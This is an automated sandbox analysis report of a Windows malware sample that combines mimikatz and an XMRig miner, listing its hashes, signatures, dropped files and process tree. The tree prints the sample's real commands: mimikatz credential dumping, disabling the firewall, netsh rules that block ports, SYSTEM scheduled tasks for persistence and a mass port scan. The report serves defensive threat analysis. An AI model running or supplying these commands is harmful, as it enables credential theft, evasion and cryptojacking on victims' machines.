mimikatz | 2334e09bbdba3a24db9c4e469e211b97cc35873f8e379e81073da11214838194

Analysis

max time kernel
263s
max time network
275s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
18/01/2024, 23:07

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General

Target

2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
Size

8.1MB
MD5

994a1dda85a2606649ad14a8a5ca2a83
SHA1

c4ffa4a4a6b9d7571be748bf524701f7a0e87d7e
SHA256

2334e09bbdba3a24db9c4e469e211b97cc35873f8e379e81073da11214838194
SHA512

e54ce8d9e7ee2437f2d7b2a21b590d44437deaf31db5ef637deb9e5041ed2d772d37fe29c0cdde60114448f8e4439a68763f6a128f59479a814507bca3c6e9df
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig discovery evasion miner upx

Malware Config

Signatures

Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3520 created 2140	3520	qumecin.exe	60

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/2652-136-0x00007FF641630000-0x00007FF64171E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

UPX dump on OEP (original entry point) 12 IoCs

resource	yara_rule
behavioral2/memory/4184-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral2/files/0x000600000002321e-5.dat	UPX
behavioral2/files/0x000600000002321e-6.dat	UPX
behavioral2/memory/1036-7-0x0000000000400000-0x0000000000A9B000-memory.dmp	UPX
behavioral2/files/0x000300000001e829-133.dat	UPX
behavioral2/memory/2652-134-0x00007FF641630000-0x00007FF64171E000-memory.dmp	UPX
behavioral2/memory/2652-136-0x00007FF641630000-0x00007FF64171E000-memory.dmp	UPX
behavioral2/files/0x0004000000021489-139.dat	UPX
behavioral2/memory/4528-140-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp	UPX
behavioral2/files/0x000b00000002177d-144.dat	UPX
behavioral2/memory/1896-145-0x00007FF7BA3A0000-0x00007FF7BA3FB000-memory.dmp	UPX
behavioral2/memory/4528-148-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp	UPX

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/4528-148-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/4184-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000600000002321e-5.dat	mimikatz
behavioral2/files/0x000600000002321e-6.dat	mimikatz
behavioral2/memory/1036-7-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/2652-136-0x00007FF641630000-0x00007FF64171E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	qumecin.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
4672	netsh.exe
100	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
1036	qumecin.exe
3520	qumecin.exe
1012	wpcap.exe
5060	utihrhnag.exe
2652	vfshost.exe
4528	pemykw.exe
1896	aptmwmnjw.exe

Loads dropped DLL 12 IoCs

pid	Process
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
1012	wpcap.exe
5060	utihrhnag.exe
5060	utihrhnag.exe
5060	utihrhnag.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000300000001e829-133.dat	upx
behavioral2/memory/2652-134-0x00007FF641630000-0x00007FF64171E000-memory.dmp	upx
behavioral2/memory/2652-136-0x00007FF641630000-0x00007FF64171E000-memory.dmp	upx
behavioral2/files/0x0004000000021489-139.dat	upx
behavioral2/memory/4528-140-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp	upx
behavioral2/files/0x000b00000002177d-144.dat	upx
behavioral2/memory/1896-145-0x00007FF7BA3A0000-0x00007FF7BA3FB000-memory.dmp	upx
behavioral2/memory/4528-148-0x00007FF66D780000-0x00007FF66D8A0000-memory.dmp	upx

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 57 IoCs

description	ioc	Process
File created	C:\Windows\bmjrilbg\svschost.xml	qumecin.exe
File created	C:\Windows\bmjrilbg\spoolsrv.xml	qumecin.exe
File created	C:\Windows\bmjrilbg\docmicfg.xml	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\qumecin.exe	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\tibe-2.dll	qumecin.exe
File created	C:\Windows\bmjrilbg\schoedcl.xml	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\svschost.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\fwygegpgy\zrbagekkr.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\vimpcsvc.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\tucl-1.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\exma-1.dll	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\docmicfg.xml	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\vimpcsvc.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\fwygegpgy\wpcap.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\fwygegpgy\Packet.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\cnli-1.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\trfo-2.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\ucl.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\spoolsrv.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\docmicfg.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\fwygegpgy\utihrhnag.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\fwygegpgy\wpcap.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\docmicfg.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\schoedcl.xml	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\schoedcl.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\Corporate\mimidrv.sys	qumecin.exe
File created	C:\Windows\ime\qumecin.exe	qumecin.exe
File opened for modification	C:\Windows\ukehqpqps\Corporate\log.txt	cmd.exe
File created	C:\Windows\bmjrilbg\qumecin.exe	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\trch-1.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\spoolsrv.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\Shellcode.ini	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\libeay32.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\schoedcl.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\svschost.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\schoedcl.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\spoolsrv.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\svschost.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\Corporate\vfshost.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\crli-0.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\docmicfg.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\libxml2.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\posh-0.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\ssleay32.dll	qumecin.exe
File created	C:\Windows\bmjrilbg\vimpcsvc.xml	qumecin.exe
File opened for modification	C:\Windows\ukehqpqps\fwygegpgy\Packet.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\coli-0.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\Corporate\mimilib.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\zlib1.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\svschost.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\AppCapture64.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\upbdrjv\swrpwe.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\xdvl-0.dll	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\AppCapture32.dll	qumecin.exe
File opened for modification	C:\Windows\bmjrilbg\spoolsrv.xml	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\vimpcsvc.exe	qumecin.exe
File created	C:\Windows\ukehqpqps\UnattendGC\specials\vimpcsvc.xml	qumecin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x000600000002321e-5.dat	nsis_installer_2
behavioral2/files/0x000600000002321e-6.dat	nsis_installer_2
behavioral2/files/0x0003000000000717-13.dat	nsis_installer_1
behavioral2/files/0x0003000000000717-13.dat	nsis_installer_2

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3684	schtasks.exe
2292	schtasks.exe
3376	schtasks.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	qumecin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	qumecin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	qumecin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	aptmwmnjw.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	aptmwmnjw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	aptmwmnjw.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	qumecin.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	qumecin.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	aptmwmnjw.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2936	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	1036	qumecin.exe
Token: SeDebugPrivilege	3520	qumecin.exe
Token: SeDebugPrivilege	2652	vfshost.exe
Token: SeLockMemoryPrivilege	4528	pemykw.exe
Token: SeLockMemoryPrivilege	4528	pemykw.exe
Token: SeDebugPrivilege	1896	aptmwmnjw.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
1036	qumecin.exe
1036	qumecin.exe
3520	qumecin.exe
3520	qumecin.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4184 wrote to memory of 1320	4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe	88
PID 4184 wrote to memory of 1320	4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe	88
PID 4184 wrote to memory of 1320	4184	2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe	88
PID 1320 wrote to memory of 2936	1320	cmd.exe	90
PID 1320 wrote to memory of 2936	1320	cmd.exe	90
PID 1320 wrote to memory of 2936	1320	cmd.exe	90
PID 1320 wrote to memory of 1036	1320	cmd.exe	91
PID 1320 wrote to memory of 1036	1320	cmd.exe	91
PID 1320 wrote to memory of 1036	1320	cmd.exe	91
PID 3520 wrote to memory of 864	3520	qumecin.exe	93
PID 3520 wrote to memory of 864	3520	qumecin.exe	93
PID 3520 wrote to memory of 864	3520	qumecin.exe	93
PID 864 wrote to memory of 2492	864	cmd.exe	95
PID 864 wrote to memory of 2492	864	cmd.exe	95
PID 864 wrote to memory of 2492	864	cmd.exe	95
PID 864 wrote to memory of 1180	864	cmd.exe	96
PID 864 wrote to memory of 1180	864	cmd.exe	96
PID 864 wrote to memory of 1180	864	cmd.exe	96
PID 3520 wrote to memory of 1700	3520	qumecin.exe	98
PID 3520 wrote to memory of 1700	3520	qumecin.exe	98
PID 3520 wrote to memory of 1700	3520	qumecin.exe	98
PID 864 wrote to memory of 836	864	cmd.exe	100
PID 864 wrote to memory of 836	864	cmd.exe	100
PID 864 wrote to memory of 836	864	cmd.exe	100
PID 864 wrote to memory of 4864	864	cmd.exe	101
PID 864 wrote to memory of 4864	864	cmd.exe	101
PID 864 wrote to memory of 4864	864	cmd.exe	101
PID 864 wrote to memory of 4352	864	cmd.exe	102
PID 864 wrote to memory of 4352	864	cmd.exe	102
PID 864 wrote to memory of 4352	864	cmd.exe	102
PID 864 wrote to memory of 4432	864	cmd.exe	103
PID 864 wrote to memory of 4432	864	cmd.exe	103
PID 864 wrote to memory of 4432	864	cmd.exe	103
PID 3520 wrote to memory of 4796	3520	qumecin.exe	104
PID 3520 wrote to memory of 4796	3520	qumecin.exe	104
PID 3520 wrote to memory of 4796	3520	qumecin.exe	104
PID 3520 wrote to memory of 336	3520	qumecin.exe	106
PID 3520 wrote to memory of 336	3520	qumecin.exe	106
PID 3520 wrote to memory of 336	3520	qumecin.exe	106
PID 3520 wrote to memory of 2720	3520	qumecin.exe	108
PID 3520 wrote to memory of 2720	3520	qumecin.exe	108
PID 3520 wrote to memory of 2720	3520	qumecin.exe	108
PID 2720 wrote to memory of 1012	2720	cmd.exe	110
PID 2720 wrote to memory of 1012	2720	cmd.exe	110
PID 2720 wrote to memory of 1012	2720	cmd.exe	110
PID 1012 wrote to memory of 4456	1012	wpcap.exe	112
PID 1012 wrote to memory of 4456	1012	wpcap.exe	112
PID 1012 wrote to memory of 4456	1012	wpcap.exe	112
PID 4456 wrote to memory of 2616	4456	net.exe	113
PID 4456 wrote to memory of 2616	4456	net.exe	113
PID 4456 wrote to memory of 2616	4456	net.exe	113
PID 1012 wrote to memory of 4988	1012	wpcap.exe	117
PID 1012 wrote to memory of 4988	1012	wpcap.exe	117
PID 1012 wrote to memory of 4988	1012	wpcap.exe	117
PID 4988 wrote to memory of 4980	4988	net.exe	119
PID 4988 wrote to memory of 4980	4988	net.exe	119
PID 4988 wrote to memory of 4980	4988	net.exe	119
PID 1012 wrote to memory of 784	1012	wpcap.exe	120
PID 1012 wrote to memory of 784	1012	wpcap.exe	120
PID 1012 wrote to memory of 784	1012	wpcap.exe	120
PID 784 wrote to memory of 352	784	net.exe	122
PID 784 wrote to memory of 352	784	net.exe	122
PID 784 wrote to memory of 352	784	net.exe	122
PID 1012 wrote to memory of 4056	1012	wpcap.exe	123

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2140
- C:\Windows\TEMP\bbetiyrag\pemykw.exe
  "C:\Windows\TEMP\bbetiyrag\pemykw.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4528

C:\Users\Admin\AppData\Local\Temp\2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-01-18_994a1dda85a2606649ad14a8a5ca2a83_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4184
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\bmjrilbg\qumecin.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1320
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2936
- - C:\Windows\bmjrilbg\qumecin.exe
    C:\Windows\bmjrilbg\qumecin.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1036

C:\Windows\bmjrilbg\qumecin.exe
C:\Windows\bmjrilbg\qumecin.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2492
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:836
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4864
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4352
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4432
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  PID:1700
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  PID:4796
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  PID:336
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ukehqpqps\fwygegpgy\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\ukehqpqps\fwygegpgy\wpcap.exe
    C:\Windows\ukehqpqps\fwygegpgy\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:2616
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:4980
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:784
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        
        PID:352
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      PID:4056
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:3876
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3368
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:3248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4284
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:4388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ukehqpqps\fwygegpgy\utihrhnag.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ukehqpqps\fwygegpgy\Scant.txt
  2⤵
  PID:4140
- - C:\Windows\ukehqpqps\fwygegpgy\utihrhnag.exe
    C:\Windows\ukehqpqps\fwygegpgy\utihrhnag.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ukehqpqps\fwygegpgy\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ukehqpqps\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ukehqpqps\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:2084
- - C:\Windows\ukehqpqps\Corporate\vfshost.exe
    C:\Windows\ukehqpqps\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2652
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  PID:5016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ylwqieksc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bbetiyrag\pemykw.exe /p everyone:F"
  2⤵
  PID:4092
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ylwqieksc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\bbetiyrag\pemykw.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:2292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ilynfhnwq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bmjrilbg\qumecin.exe /p everyone:F"
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ilynfhnwq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\bmjrilbg\qumecin.exe /p everyone:F"
    3⤵
    - Creates scheduled task(s)
    PID:3684
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:208
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "gmjrazuaj" /ru system /tr "cmd /c C:\Windows\ime\qumecin.exe"
  2⤵
  PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1840
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "gmjrazuaj" /ru system /tr "cmd /c C:\Windows\ime\qumecin.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3376
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  PID:3880
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:1040
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:552
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  PID:4400
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  PID:1480
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:2500
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:3784
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  PID:3352
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  PID:1056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  PID:5112
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  PID:2800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    PID:3372
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      PID:4192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:4792
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    PID:4672
- C:\Windows\TEMP\ukehqpqps\aptmwmnjw.exe
